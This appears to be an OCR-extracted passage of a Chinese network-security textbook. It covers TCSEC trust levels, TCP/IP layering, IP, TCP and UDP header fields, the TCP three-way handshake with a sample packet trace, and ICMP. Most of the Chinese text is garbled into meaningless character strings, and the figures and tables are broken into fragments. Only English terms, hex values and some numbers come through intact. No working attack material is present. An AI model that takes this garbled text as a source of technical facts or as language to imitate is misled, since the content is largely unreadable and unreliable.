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1.4.2 FEIEMNIRAE

FEFREMR A 1999 4F 10 A3 HRmEE AR RS RMtELHGHIEIGERERGEEZ 2
{4 25 2 K 4o o ) >>!4€fi+;%iﬂwc_+-fmﬁﬁlléﬁ; LR 5 NG — 3 9% ok b &

FE—ZARPBERPR. EMLEHEPHILHEIEHP BH& A EL2RP6E T, 7
P A B 2 ARk i B iR .

BEZRZAREREITRPR: BRHEE W WL 20 DIRE S B R A0 F4E 57 1
() () T ER R IE S T A B P X A 2 AT R Ak bE R T .

FE=ZFARERIBRIPR: Brak R AT — 0N 1% TR AN . b ER LLJT [ 4F 4 bR il
1 &2 42 20 53) BIR o] 75 o] 35 1 15 o] ASCBR » S 3GF 175 ] 65 52 1) 96 ofil] P2 47

F AR IF R . 74k K AT 44 00N 2T He ) 3L al o & 4 P06 R
3 R SR Ay AR OGRS 43 R OB A3 LA 45 i U [n) S 6 [R) 6 G 0 A7 B, DT I 8 3R 48
MPtBERETT .

FERFEAGRIGUERIP R . X — DD Fr 015 8 1 U 8] 56 0k Dy 5E « 7 5T {3 U 18] 2 %
DT )X 5 0 e A 5 (0] 35 31

1.4.3 EFRIENIRE

ARG 32 B B 0T & i 1 /L% e A fE— ] (5 T B AL &R G0 B bR AE (Trusted
Computer System Evaluation Criteria, TCSEC) , 1 5 & M 28 & 488 7+, — S 2L &% 4
FON RV — T EALR G L e rE . A M 1985 448 K245 il o 32 1 [ 7 7 19 s i LA
Kl — BHIRCA UE S, ZAE LR — B R 2 P EULA/ NI E R G FE 2 5k, HAth
1‘%%(ﬂﬂ%{ﬂiﬁﬂlHéﬁ)t—ﬁﬁﬁﬁ&%ﬂﬁﬁ?ﬁxﬁﬁ 1 Bz A5 #8224 19 Zoni AR B 5 53 1
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F 1-1  EHERIEMFRAE

£ 5 £ 5l 2 R FEHIE

D D R P WA w Ry

C C1 A %2R SRR Ay
C2 VAN 1R B AT A L R R
Bl PR 2 A 568, il A7 B 5 42 bR il

B B2 25 1L A 3 T 0] 2 R RS0 BP0 iE & Re
B3 4 X I R Rt A

A A K E % T 12 Ak i f i G A A F 5 IR

D 2 J2 g AR 1 & 2 G0 A XA GO I FRAE R GU R — 112 KIFI G+ AL ] P
Al LU A B e 2 A EAL A, X TR U, 2 DA AL T IR IP S 1Y L IRAE R B 2
= 3400 F 5 A Z g0 15 0] BR i A& i 5 1l PR S AT AT AAS 5 AT AT 0 2 AR ] DLk A R 48, N5
{1 An] B2 il #h i5 m) At A B985 SCF . T8 F X A2 i #E R4 4 . DOS fil Windows 98 4%,

Cl 2 CEMN—NELTY., Cl XFRikEEMEZ 4P (Discretionary Security Protection)
R EA A T — AR I E UNIX RS0 0 & 2200 L X A0 G0 19 5 G060 6 {4 A7 3L #
FRIZ B9 OR3P 0 P A T K 5 O 2 R G008 o S R A R U P S Gk T R
& P X R FUE B T AR/ U5 R R (B E 452 3365 35 i el se AR A1 . P A
U5 1] B 48 X SCH- AT H b 19 U5 RV SCHFR9 44 & Rl 2% 1 7 a] DA 22 SO a9 U5 1) )i 4
M XF AN 5] 1 FH P 5% A8 [R] 7Y U7 [a) ACRR

C2 2ef5 1015 Cl 22 mYB: 1k 4b . v iZ B A 17 0] 32 1) #5385 (Controlled Access Environment)
BT . iz B 1R — 20 BRI P PR T Sl a4 B0 U 1) 3 28 SO A ALBR S i ok i AT
B INIESFS . oAb REGER ARSI LLE IS A H & A 2 wkg F LA
FAEH A AT 2 37 8 5% 55, X o A A H R 8 m] DRI A = IR 38 , T 22 YR8 5%
SN, ml DAOR SR ] gEA ABAR RS, $ TR 1ol DLidsr & R S0E B0 AT 1Y 16 3
LAGN i AT B 3 ARG 3X AR50 vl LA RGE fE7E T iX 2 an 2 . ® TSR U T B
#AN A Ak BN [a] AL 8 A ], s BRI S A B ik R nT LLiE— A C2 R G P AE A 2 B R
AP SO R AR AT RGO BT 55 . AR RS E O RES 25 P 40 4 %2 T AT
U7 ] B 26 2 e 5lURR 7E 1Y H SR IAUBR o BERS IR R C2 JU Y H WA ER G A

(1) UNIX £%:;

(2) Novell 3. X 5 # 5 & fUA 5

(3) Windows NT,Windows 2000 A1 Windows 2003,

B2k =425 . Bl 2B br i 2R P (Labeled Security Protection) , & % 57 2 9%
A (] an A 5 A4 25 ) B9 565 — A0 X A0 U B AR T 5 R PR U [l T 2Z R BIXT R RS
ATV SR AT & U VP nT AR o L R GONAF AR B A O X R 2 GO B TR
HLER S8 — MAE BUR LA, be a5 By 3B 1 B 2K %4 R i Bl R 4

B2 2%, X Z5#) LR 7 2% 5] (Structured Protection) , B B3R 1T B VL R G T A 19 X 42 4B
T AR, T H 25 s (RE A R M2 dm) 70 BL SR 80E 2L e 900 .

B3 2, M il g0 (Security Domain) , i F %22 268 44 1 )7 2O s B 42 4, )
an, INFE A BEAE 1 T O 47 48 4 Bl A 18 O£ A [n) BB 2 H At 22 A R R 5 . IO
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A Y XFREGUE I T2 (Verified Design) . At K BB ERN . - ELEF T —T
FURE BB W A ES UE T AR . PO T BRSO R B A B e R 20 N
MR b Ok A7 4% uk, B 26 250 JF A7 R 7 18 AR AF AR or Ae gr M. AT AR AE 93 A (Trusted
Distribution) () & X 2+ T /A8 75 1) T8 {6 W 3 72 e £ 25 3 B B0, BB Ik 52 2
R4,

B BWAEA L, TCSEC 25X ISRV R G el 2/ NIV M EVL RS . RiX
A — € WP FOR B 20 o 18 45 BUR 142 B HAS 38 5 4l PR DR 3 A A AR 2 i 2 1Y

— ., HZE W
1. M2 241 Hor CIA 1512
2. W& 24 2 YL
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A, 4% 4 gl AL

5. W) B AL 4
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7
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9

By B0 R R L 4
. SRS NS P RR & .
. SYN 2 X 2 0 Ay . Smurf Xk 2 J= X
o Mg R
10, [ 2% Bl A8 452 AR 46
. EEA
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B 3R P 3L, TCP #3L, UDP #{F= ICMP #3L.
B TR SRS . Telnet R4 .8 TR 44 IR 442 Web IR 5.
B TR A MEIRSE % fow A6 RE&GAiE A,

H PrbrfEfL 2H 2 ISO(International Organization for Standardization) {2412 ML 5 11 &
PLZ 18] B8 A5 0 B 7 D E AR S Y P U2 AR B & o0l 2 P B2 BUE 5 56 )2 W 28 )2 A%
W2 22 RN 2 N ZEVRDA M e n G LR AL IR -L E 2 AN M 2K 1
ZEMy SR T Rl AT APl .

TCP/IP &2 Transmission Control Protocol/Internet Protocol BT 5 , 1544 N 1L Wi 5
il BIp 180/ DR o BB AL, 44 I 25 38 1 PIp . 2 Internet S BEAS A PR Internet [H fr B HK
£ i Stk 5 i 9 2% 2 10 TP Bl AL S )2 1 TCP Bl gl . TCP/IP 5@ Y T L 7% &
f iz A BRLRR I, DA K Bt anfel 72 A Z A& s i An i . R BCR T 4 220550, J— )2
ARIE Y & 1R — 2 R SR Y B Ok B A 2K .

TCP/TP A1y 4 JZ A OST Z 25 A B AV H PR30 X5 b 56 R &l 2-1 fr s 3 98 — i
PRy TCP/IP. H 3L PR A TCP/IP Pr B0k WA R 2 AN W] /9 Pr 30, % a9 A 1P, TCP,
UDP.ICMP . ARP %%,

OSIHin TCP/IPL
W i 12
TCP/IPIMYEH
o2 W 2 | ' |
Zi%2 Telnet FTP || SMTP | | DNS RIP | | SNMP
(42 {52 TCP upp
TELY S Internet )2 ARP P IGMP | ICMP
Eﬂ(;’lgﬁfﬁjﬁ e e 5 B G .——| Jof e e e v N e -1
egi 12 [ BAKRM 0 SREF 0 Widhdgk 0 ATM
= e e e i basaasa = | AR i Y 4 Beioe E |
YR I

& 2-1 TCP/IP #0 OSI g9 33 Bz 32 &

2.1 R Es i

2.1.1 BRI IP

IP 2392 % Internet Protocol (% 2 8] B &I D) 45 . vh SCRTFR M PR . th ol 2
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AT S48 A B e R AT A T T PR AR PRI R R O R B T A
TR 265 52 IR AR B AR 10— BRI L B E 1 LR DR L A 1 N 2R ST YRR
W AT T ZFAE AL RS RS 1P Ukl DA R Bk Bl , TP 2 M 42
1y FE P A g TCP B UDP s (it B JE A R 3 T

1. 4% 5Bk

LR )\ 43 20 A2 4 9 A B 22 (B AS BE B2 38 5 /S RE B 38 119 32 22 JaL [ B A T A% 6 58 1 2 A
BT (FEAR B Z R “mi ™) i #& R [R . TP PRl SE PR & — & i AR0F L #2 F 21 Rl i P 3L
F B A AP A ) i 58— e 46 plg TP 5l 40 7 4 28, 350 o 2 460 o2 XL 4 T 1) — ) e o S )
AT T A T AL AR BEAE PRURE I S 80 A L B TR RO ) R

2. HiEE

B At 2 o3 21 A 1 — FOE 2 B0 R B AL 25 0 EE oy BT R L BRfE s AL R
e, GIEGENY R i L S W R [R] B R T OC A R AT B B A (e 4D FRAE
A — A ST 4 SC A 2R 2 B DA AEC B . 3XRE 78 T LR (R 2 it AN T B Sk B
Gf— 25 L I L A B A R — o A 1o W] — SR B A AL L BT AR e e 7. X — R
WO YRR T R4 1 W L A e . RS BOE AL AR AT Sk AN SO AN RS 4l
b H A hE BN A B A 282 W RE ) B AR R ME B M 2058 H g e, 76 B
) b EHT 20 5 0 T RN O e ok B HE . XU R TP B o AT AN S 2 R T RE .

2.1.2 IP 344

TE W 26 Pip i rb L TP 2 T e E 3% 42 10, P U ) I 22 422 30 2 A% 338 50 7 I, S G 0 TR 8% S
PO U I N D S NI I AU T ) 0 O ol 0 VO - T e i o | Rl 1 = o 1 3| B = 5 o )
I H

[P & s tads — 528 ny IP 5 B, 1P W IIRE & XA 1P k&5t IP k45 fg an [&] 2-2
FIT 7S

0 7 8 15 16 31
RRAS (A0 | K KR40 MRS FETOS(8(iN) BKEE(16437) I
brRit(16{7) brida(34i1) Fo (1 34i%)
Y AEI [E TTL(8S) b 2 P iSbR I (81L) defRCEE FIC(16431)
1Pl f1(32417) > K IX

EUBRIPHEHE(3241])

JEIH

Bl di > BEIX

B 2-2 IP K513
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1P 3k 25 ¥ 7E Fir A s AR 2 [ e 19 X 1] 2-2 BT an i BA .

(1) A5 (Version): K 4 fii. s HRISR @ IP il A 5. — M {E AN
0100(IPv4) ,0110(IPv6) .

(2) 1P fu 3k K JiF (Header Length) : K BF 4 v, XAFEMAEMZH#A IP ki K
JE, o 7E TP Sk AR KA Rl 2EsB 7. B 4 50, I, — 4> TP 3k i) K %
KA 111180 15 « 4 =60 7, ¥l IP 2 iz B E & 5 CRP 20 51 1y
KB .

(3) IR ZEMA TOS(Type of Service): K 8 O JEM 70T & X WK 2-3 Fr7s .

0 1 2 3 4 2 6 7

fi et D | T | R {4
B 2-3 BR&EER

oA : 5 0—2 i 3x 3 i — 1 B 3 7m 19 B 4 Y5 BBl A 000~ 1110~ 7)), HU(H Bk K %%

M AEIR A, D(Delay) . iz g & 1 B 2 iz 15 2K DL 4E 15 {5 18 18 5y . 0 3% 1E & ZE 15

etk 7 T(Throughput) : %A 8 & 1 B8 g R UL & ok & 5B A .0 2o
3

] FEPE(L R(Reliability) « 247 8% & 1 W, £ 41 5K DL & nl 58 A5 1814 . 0 Kow
HH

CREEA . 55 6 FNEE 7 7. HAT A BT E 00 N B AEA e sz Bl n] DA 2 6 {7 %
AN A

XA RN - TOS /Y BRI IEE A T8 2-1 F . B an Xk T Telnet 24 {H 42 10000 (i
i) B 4 B 7S B2 0x10,

*2-1 TOSHEWHEE
KRR MIERGI D BEMEBMT SUEMEMLR ERAREZ +RN#EHE R Rk

Telnet 1 0 0 0 0x10 ¥ 4k IR
FTP 5 4 1 0 0 0 0x10 (SRS
FTP ¥4 0 1 0 0 0x08 A g
TFTP 1 0 0 0 0x10 f5 %iE IR
SMTP fiy 4> 1 0 0 0 0x10 b i IR
SMTP % # 0 1 0 0 0x08 fEE Y
DNS UDP 2 ifi 1 0 0 0 0x10 f5 %iE IR
DNS TCP 2 if] 0 0 0 0 0x00 o 8
DNS [X 5l {% i 0 1 0 0 0x08 A g
ICMP 2 4 0 0 0 0 0x00 RiapT]
ICMP #rifi) 0 0 0 0 0x00 A 38
SNMP 0 0 1 0 0x04 =] EE
IGP 0 0 1 0 0x04 A AR
NNTP 0 0 0 1 0x02 iK% 1l 4=
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(4) HAUBRKE. SRKREM 16 7 —dEf R~ , B RKEFEZREAD IP i K
BE DL R By . BT DA TP 4 f KK BE 65 535 £,

(5) brifl: KBE 16 i, ZF B Flags #1 Fragment Offset 57 BEBES{f WP 40 K I
JEE R AT Br (fragment) #24E . BE B v K — D2 Px 0 Jm e Ay P 20 JF 19 /N0 #8812 A
[ AR . LA H A o 15 88 BE 95 X 20 WA 42 @ T 9 3k o0 FF I ) — 3R 45

(6) bk (Flags) . ik H W) FEHLRAIWOH K00 0B Jd T 4, K BE 347, i F B
— A, 5 AV 4& DF(Don't Fragment) v , DF f5ii% & 1 5} 2 BH i HH 28 A BE X% I )=
BRI, MR- LRSI IEAEA BRSO F T 2 Nl E 7z
EEE IR M — iR R . 3 = {2 MF(More Fragments) {ii , 24 i t 48 X — 1~ | )2
BE AL B W Bl 2 S FEBR T Ba — A Bz A HA o Be 1y TP 4w i 40 Sk vhols MF £ 1%
A,

(7)) A W# (Fragment Offset) : {13 i, £RiZ IP WIEZH 4 B b A7 & L 3200 i
SEOCR A B R TP 4,

(8) fFififm ; (TTL,Time To Live): A=fFif[E) H 8 {7 —#EH B Fw . B8 & T B
iz AT DAAE P 26 v 4 S 1) S A I T8 . AR SE BRI b o 1 A AR b B G R A A I ] B i
BT R T A2 i KB e . TTL 9 taE hIE FAHLIEE GaS H 32.64.128 5
#256) , —H &3 — A FE B AF EE B E 1. i FEAERCY 0 B, 2 i
S5, IF ik ICMP 4z 3Gl AR AL, X AE a] DL B 1k 0 A — 105 26 [0 2, 20040 iz Jo IR
1k A& % . H] ping a4 45 2 XS /) TTL AE W], AT LA ek 7 (87 a8 4E R e iy 288, 3R
INEM T -Linux &% TTL {fk 64 5% 255, Windows NT/2000/XP &% i 2kiA TTL {f§
128 . Windows 7 24 i) TTL {42 64, Windows 98 4 i TTL A~ 32, UNIX FHLHY
TTL AN 255,

(9) Pri (Protocol) . KB 8 i, #nill 1 )2 B 4 FH A0 WR 30 5 FH B I B Bis 280 4 5 2
% 2-2 Fs

F2-2 ERAMBRHAES

+ it 4 S 1 i i i
0 yn &
1 ICMP W g il i SC PRI
2 IGMP W B 2 A5 3 T Y
3 GGP R 2G-S PR
4 7 A 1l
5 ST it
6 TCP & i 45 i Pp
8 EGP bR I 5% i
9 IGP PR R O i
11 NVP W £% 7 5 X

17 UDP iDREEE 713




% 2% M%EA iUk R 21

(10) K5 . EHZTF B E RN 0.8 54 TP kiR 16 7 aF A1 —aF l BUR SK L ¥
25 AR AEAL B0 A B

(11) ¥ IP Huhk . 5 1P HuhbF 1 AE 32 5 Z00(H W0 55 205 W 28 5715 e 5% 46 o 3 P15
Wy . FeAemy Jrikit: ¥8 4 DF v E R R 2.3 790 B4t

(12) HAY IP Hihl . 55407k fig 1P skl —+¢ .

H T B4 F Sniffer A1 Wireshark $N2 Ak 25 a0 F , Sniffer F1 Wireshark . H &3 {F 1
i HIE S H LA e 9 TESLE —fsE g —

IEN Y TP 3L FB . 45 00 00 30 52 52 40 00 80 06 2¢ 23 c0 a8 01 01 d8 03 €2 15

44T

4 52 TP il MAS (Version) , 0 B A& TPv4 B i IRA 5 T 6, BLAE TPv6 i 1% A 5 ik
fdi ]

5 B 1P KK BE & — A 4 [V F B B TP SLaf iy KBS 2 20 20 . X 2 An ffE Y 1P
SR K

00 &5 H (Type of Service) , XA~ 8 i F B 3 (LA FF Bt (B7E E &8
Z W) A4 L TOS ¥ Bl & e /DMERS i KAk & fem Al 5tk DL /NI X 4 £ i
Z HRefr — 1R ARG AR A 0, 7R s — M ik 55 74 il .

245 BP9 00 30 72 TP a4l SCE A AL 5 Skl KA S &

HZFAFZ B0 (Identification) : 5252 CF s #E®D 7 8k -+ HE sk 2 21 074.

ek B 35 ALk A W8T Ok 1 B T RS o 4

1‘ — N 40, 5 o IR L2 0100 0000, Hovp s — {2 1P Wil B Aj A M Ly .
N0, E%MEWA% . DF #1 MF, DF & 1 £anAE B MF R 1 Lo fy it — 201 7

B (AR 00, SRIG I 0 0000 24> Bt i #2 (Fragment Offset)

80 XANF W is/2 TTL(Time To Live) | . 3w —A> 1P Zoda i 09 4 J& 3], $47 ping
AR REMS R TTL ME R £ sl vid i TTL ik F 5 FHEM, W — K FEVAA
BN TTLAH . AR RS BGAEA —FE . e an Windows Sk 128, A vh 24y 80, 5 46 4 1
el g2 128 1, ping 1 HL 7% & Windows 2000,

Fe N ORI 2 06, 3X A5 17 2R A& fan )2 19 B i 25 #Y (Protocol) . 6 %7 1% g )2 & TCP
i

2¢ 23 XA 16 i F Bk B 55 F1 (Header Checksum)

ETF ¥ c0 a8 01 01, 3X w42 U5 Huhk (Source Address) |, it 2 AP IP ik, (-
7 il B 5 Bl R 5 B 45 R T PR 9 TP Hb bkt 2. 1920 168, 1. 1, [FlAE . #1932 {if
d8 03 e2 15 /& HbrHht . 216. 3. 226. 21.

2.1.3 feH#E$l i TCP

1F HVER I 3% (Internet Protocol Suite) 71, TCP EZ & T IP EZ . WV HIZEZTH
difa] )2 L B TCP 2452 Uil . A ENLR N Z Z 8] 4% 7% B 0] 58 19 AR 18 — FE 0 i
2 552 1P 2 A F AR5 A i i AL, 1 A2 42 AN A Sy A0 28 4, 1 TCP $& R m] S iy bz 2%
Ytk . TCP fEPIA ol 24> F WLz (a2 57 T 1) 3% 42 19 38 15
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W2 1a] TCP )2 & 326 H F M A 4% 4 10 L 8 7 545 2um i B i . 2R )5 TCP %4 8 i
A3 50 AGAE Y K BE A 4 SC B GE Y 320200 E SR PIL B 0 N 2% 1 B B B B 2 Y B K AR K B TG
(MTU PR . Z 5 TCP 845 R4 E 25 1P )2, & R 18 1o [ 450 445 25 25 432 i o S 1A
1) TCP JZ. TCP iy F RUEA KA A G BT — 1 F 7, R F SRk 1 %5 2
PN o S R AL A F2% Fr 2 0. SR 32 Wi v S A0S 2 G B WAL B A S 2 [ml — A H LAY B A
(ACK) , a5 % 3 v SEARAE 5 FE A9 18 22 B SE PN R 832 8 DA I8 20 %5 0 i B dls (i %25 1)
R = AL . TCP H—> R 56 F ek ZOR G 56 20308 2 5 A 5 % - 76 3k MRz s AR EE 0T 53 AL
AN, Y. TCP S 2 5 - 1l 45 007 vl LA Jw] sk 35 47 800 a0 48 5 s Hok, At 24 BUT Y
FEARE vl SR |, R FHOHE B AL A B APL R

AP —4¢, TCP iy Th g2 IR T H kb #5419 15 B . Itk B % TCP /9 ALl F1 Zh e 75
TR TCP kN A K 2-4 B T TCP kg5t

Je P 102 F) H Y 5 13 (2 F95)
P9 (4 F4) Wik T 5 (4 F9)
SLICRE 4 A1) {88 (6 £i1)
URG ACK PSH RST SYN PIN
LR /NC2 FE0) 5 M6 £
H IR Q16 D) PETH (A] 3%
Bl

E 2-4 TCP 44

T 2-4 BEEHUNE

(1) TCP 3 17 (Source Port) ; 16 {37 14 5 i 1714 2 %) &h £k 38 = 14 35 10 5, J5 05 11 A1 TP
HhE 1 /E FH 2 P 3 4 SCAY IR ] JihE .

(2) TCP H ¥ 1 (Destination Port) : 16 v (1 H % ¥ 11 48 58 AL S i H 19 L 33X A 3
5 B 4 SCHERSCHHEDPL b G i AR e bk 42 1T

(3) J¥ 45 (Sequence Number) : JE4l 5 KR 32 i, TCP # 2k % ik Jr [a] #2457 K ik
IOES RN [IRR=

(4) #iiANF 5 (Acknowledge Number) : #fitA 75 K B2 32 v . 82205 8] & 19 w28 i
SER=

(5) kK JFF (Header Length) : 378 TCP k#9345 50, 55 4k b 795 A B 2 e
LL 4, TCP Sk R — A 20 A2y Il H B E s 5.

(6) URG: & HE2TEE .0 A1 M.

(7) ACK.: 2K/ MW 2ZRE 0 HigK,1 MR

(8) PSH: Dl Py G At . & 1 B R A 8 B A 82l 15 2 J5 3 vl | #2%
2 FH AR 7 o TS 0 25 31 28 o X ) A7 44 3%

(9) RST: BB, /Wi iEiE  RFEE.

(10) SYN: [FPEL S R E &8 . %R TP .SYN=1,ACK=0; 4%
BB SYN=1,ACK=1; #fiiAi.SYN=0.ACK=1,
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(11) FIN: g%k, FIN B 0 245 ELIER . FIN 1 Tongdds., 78 TCP Y
UK AETFBF 50 — K EF ACK=1.FIN=1; 5 K% F ACK=1.FIN=0; 5 =K% T
ACK=1.FIN=1: FHK#ETF ACK=1,FIN=0,

(12) & 0 K/NWindow) : H B FEHLE T 16 17 (9 & URIE FHL. &8 U 154> TCP
B B K

(13) 5 F(Check Sum) : XSS FNAN TP 4 A58 FNAT FFAS [\ o AS AT sk B4 1 17 4%
B X BN BF RS

(14) ¥ 2354t (Urgent Pointer) : X4 URG K 1 fyBfEAF{xL. TCPEa L2k
ik B 28 s 1 — oy =X

2.1.4 TCPihiXH) TIERIE

TCP $2 4P~ I’ 2 FHLZ 8] 19 256 Sl 5 . TCP MR Y b $2 WSCE i I115 B4 b B R
FA . BT B AR TR X B T g S AN HE R LLAE AL EW"“T(PI?BLZIEU.&;
E s 2y . e B &h . TCP &b =i F v atl . XA F 5
W25, 3 $E LA WIS AL 22 (8] 2 7 6 400 3% 2 i il ﬁ’J#“ﬁ%'Hi‘

TCP 75 5 7 % 322 1 I A 75 2 — I A AR R = U\{‘Ji%—” 7 W T 32 B2 0 B e 75 22 DU K
B S A FRE DU IR 3% 7

(1) #E#z. 7£ TCP/IP Ppilrhr . TCP P $& Bl 5 i) & B2k 55 . R =B F L — 1

B . PriE = WAE T R 7 A 5T — AR 0% RN Al AF AUy A = R S, WA 2-5 Fr
HIRSREWT,

192.168.1.116 192.168.1.123

[.m
W00

e ol DL S 2 {frnd?

Y 2EnT LA

BEEAZFT

B 25 =XiEF

g — AR T & P ALY N E R ) HoAG Hay )2 TCP Pk Y &8 57 i 2 i fim 2, W %%
FHL TCP [ Rk 55 7% b 8 5L 45 8 R 55 i o 11 ik — 1 2K 8 v 3% 42 19 i SC B » izl SCEeh
SYN #% & 1, [ A& — WG F 5 2 CRGARFF A — A BE 8] 22 40 09 1 8 as » 28 57 % 4%
2 T ECAS (A B S 00 46 3 0 5 DRI A ) A9 3% 3240 LR e 91 5 AN TR

BUARE T RS AR E S S IE R IR B AR - TR RS BWIGTT S Y.
SYN # 8 1. 0N S8 Hh o+ 1 MM SCBAE NN Z . IS 1 &2k 1 58 B AR 55 2% & 18 Ui
Bl — A% PR R OCE S N 3 ok v, — M iEE R T —1NF 5.

B WAIETF . B PO R AR 55 A% 0 0 & SCBE R b 20 a) il 55 AR R X BN S v+
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R4 SCE AT A . R & P LR TCP PR 8 | 2 36 f2 , e &y . nl LR AT 3K
Wit 1

mﬁlz KR T B P 5 RS w8 T e AL 06 £l

(2) KM . T EWrIF i Bea i . TCP o 75 2 5 AH AN A 0] UL W I 3% 43 0 AR DU Ik 4%
F7.nE 2-6 pros . ARSI,

192.168.1.116 192.168.1.123

RS i

Gf. WiEl

' |
E 2-6 4IEF

o — KT B FE LR N UERR 0] H TCP Pril)z= & 2 bk iE a2, W & = TCP
EIpISZ 1) iz 55 2% TCP BHpisZ & 2% —A> FIN #& 1 /9 5CH #4219 TCP # SCEL .

o AT kg5 Anny TCP stz 2 5C M) % 32 i 4l SCBR - 80 & 86 Ay 5
%’Lzlli@]ﬁfJHRJ:—A$—lj P81 2 0 1 [R] i 9 5 A1 Y 3% 42 8 RH . A E A L 35 R e %8 7 AL

CaZ b r&8dEte ik . 78R E SEN G » IS5 4 Q1R AT BUds 22 0k W& P AT 28 nf DL 4k 2

PSR o DRI bR 25 2 OGP (Half-close ) IR 2%, IR IR 55 2475 9K T LA & 2 8 9 B
AP R & P AL B ROE P T B e R A 1 iR gs e T

o = UHE T AR eSS A N R R B B R R R B T T W BE 1 Lt U TCP
WIEZ KM ER, X RGA TCP iUZ R ZE P ALEY TCP )2 &k —1 FIN & 1 iy
SCEE, R M %

VYR T« [FRE 2P HLISC R O M]3 2 10 i SCBE R o 1) il 55 4 2 3% — S Bk 0 A P
T o BB E B A5 1. 2 12 55 s IR B IS A s R 58 4 R A

L -

IP 192.168.1.116: 3337 > 192.168.1.123: 7788: S 3626544836:3626544836

IP 192.168.1.123: 7788 > 192.168.1.116: 3337: S 1739326486:1739326486 ack 3626544837
IP 192.168.1.116: 3337 > 192.168.1.123: 7788: ack 1739326487, ack 1

AR F. 192.168.1. 116 RiE{ifs SYN=1,BE#L = Seq Number= 23626544836
FECHE 423 192, 168. 1. 123,192, 168. 1. 123 1 SYN=1 HIi8 192. 168. 1. 116 B3k 5 57
4

AR T 1920168, 1. 123 W B9 oK J5 2R A B2 {5 8, | 192, 168. 1. 116 & i%
ACK Number=3626544837,SYN=1,ACK=1,Bf#L ="z Seq=1739326486 {1 ;

=R T, 192,168, 1. 116 Wg 35 #54F ACK Number &2 75 1E#f . B S — K & 1% 1Y Seq
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Number+1. VL M i ACK 7&K 1.4 1FE 0. 192, 168. 1. 116 & 1 % 1% ACK Number =
1739326487, NI 3% B2 4 7 pli 2 .
HARBAEE S H 5 9 75000 —,

2.1.5 APEFERHBIL UDP

A P B s 2 i (User Datagram Protocol. UDP) & — /™ ] 28 (4% 1 =] 205 2 1% 14 B |2
(Transport Layer) Jpil . 7F TCP/IP #i#lrp , UDP B 2% )2 (Network Layer) PAF Fl)w H 2
(Application Layer) Dl & |7 —/ iy 0. UDP BARAEEIE A ] 3 22 ). 2 — B
TN R P % 20 W 26 2= 09 80 0k 2 AN O/ B8 Bl & 0y CBir LA UDP A7 I s g5 0A 8 72
AT BE e Dp 30O . UDP 7 TP Bl 4z 19 Sk 3 U0 A1 8RR 2l 156 (7 B . i
T Z Al 5EE . UDP W — b 20 F — i i 9 2% A« HE R A A

T Y28 iR 55 L 344 R 48 Domain Name System (DNS)#H] UDP Wi, 4 H P 7
W R e i A DNS Z BRI, DNS fliz 45 7] LR b 22 B A 55 22 FRAH G Y TP #ihk

LSRR (L s Ry QQ) 18 H #Y 22 UDP Ppill, UDP Ppil#E TCP/IP F AL Z [8] 2 57
PR RS A A S 1 Bl 1% i E . UDP i g5 an &l 2-7 o

~ IPHA 5
IPHz % IPF5 8 1 &K
- UDPji & -
) Y
UDP#R % HE

E 2-7 UDP W44

UDP 1 TCP {&# #3iEm2 % . UDP Ml TCP /L3 53t 922 S 2K F RIS M E 2
B2 5. TCP BTG, LMl uk HAr&& o] LLyinl g A iR # {5 . UDP gi{R B {E
R AR B AR/ B kAL i s D vl e MEAR & . (B2 A e 52 R uE AL 3% i 2. UDP 38 & i
BV AL i /0 0 B B SE R T R P . AR X S LT L UDP IR 8S He TCP B A

UDP 9k 25 %4 b ¢ fay 52, Wi & 2-8 Frow

PR (2 4 ERETI OSSP
B K E (2 95 B (2 E45)
B

& 2-8 UDP L&y

X Bl 2-8 RUZS g B AN F .

(1) J5 ¥ H (Source Port) : 16 {3 1% 5 3w 1 8040 35 90 4 Ak 38 {7 19 3w H 5 o I v A0 TP
HihE 9 AE FH A A 1R SRS 3 ] HihE

(2) H Y% M (Destination Port) : 16 A7 B i v 1 d80E XAZKIAY B 1. X >3 38 B
g SCHSC A AL L i 0 AR e Hi ik 2 O

(3) #40 KJF (Length) ; 16 {7, UDP Sk F%HE 69 8K RE .
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(4) #E 5 A1 (Check Sum): 16 13, Al TCP {48 56 A1 — ¢ L A AU Sk B 9F 1742 56 L 38 X
LI N 2 AT AL G

%7 UDP #z 3k 0953 A tn &l 2-9 s NIEI ARl DL DNS iz 55 F 9 3 0 52 UDP B
53 ¥y I, BARSZEG D IR Z: WLAS 9 T S5 Y

e ﬂl"}‘rmll
TP ' (Domasn) TR
L=ngth 54 L{\.Jﬁ

0P Checks = 8576 (correct ) FEMA

— — - " — g—
g e L L g g 3
— —1 = = =

ﬁmmuxk

E 2-9 UDP #Hk
2.1.6 #=§HEBE WL ICMP

ICMP {4 Fr4& Internet Control Message Protocol, M $ A A & 2k . ICMP 3 2 —
ARSI 5 B B H B A A T 2 i SR, R RE R PR g HERR PE .
it ICMP WL, FEHLALEE B % AT LA 5 f R I 22 it X RS F R .

ICMP 2t~ G ) M M5 6 B . 26 0 55 i S0 [ 3 & 26 I8 Zods nd i3 & .
NRAFREEEA ERERSCHEEEZE ., KR ESHE R ICMP H# SO & & 45
PRI ZE A IR0 5 Q] A GE B 4 b & O Wi B i . (H2 ICMP Ml — 9 T fig 2 4 75 [n)
MAS 22 AL IS TR AT 55 i &% 52 il

TRATTAE P 2% v 288 2 ff T3 ICMP sl b an 38 47728 & 4 0 6 A I 4% 38 S 38 11
ping fi2 (Linux fl Windows ¥4 ), X1~ ng”ﬁﬁﬂﬁ%ﬁ_li@i% ICMP Wil TAE Y 1t

A HoAth (1Y 9 2% 4 2 a0 R B B AY Tracert fip a2 3L T ICMP Ppidl 1Y .

E T A S bl E A 3 &2k ICMP i &L 3 e 58 i3 8 5 AR I A% P Bl - B2
XF T P B E i 1 s i AR .

(D 1P F g dcik vilal B k.

(2) TP 3 pH % (R 5C) Joik % >4 /i 19 14 fan o 32 5 2 20040 e

(3) 1P 3% i 254 % 3k F AL E a) 1 38 4 19 23k B AR 19§12

ICMP By Sk 254 be e 1y B 18] 2-10 o

@mmmﬁﬁﬁ%HWWEﬁ%ﬁ%E fii /il ping fig & » A LAAG I [ 2& 5% 3= ML 15
mAC PR I i D HE UL TCP/TP #2173 M ping 78 2 BYEIE L, an & 2-11 fros . HARSEE
RS WS 9 BESLEG T

~ ~ ~ .1:” = {b5C '_"f’{_i}ﬁ,ﬁl
(8 fr) | ALHH8 A e 56 F (16 i) = 1024

ZRATES P9
B

E 2-10 ICMP 3L 44 E 2-11 ICMP ¥3iER
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MR 2-11 FHH BRI S USSR 0, Fe /8 2511 1136 15 2K (ping fy 2 i 2K ) . W 2K ALK
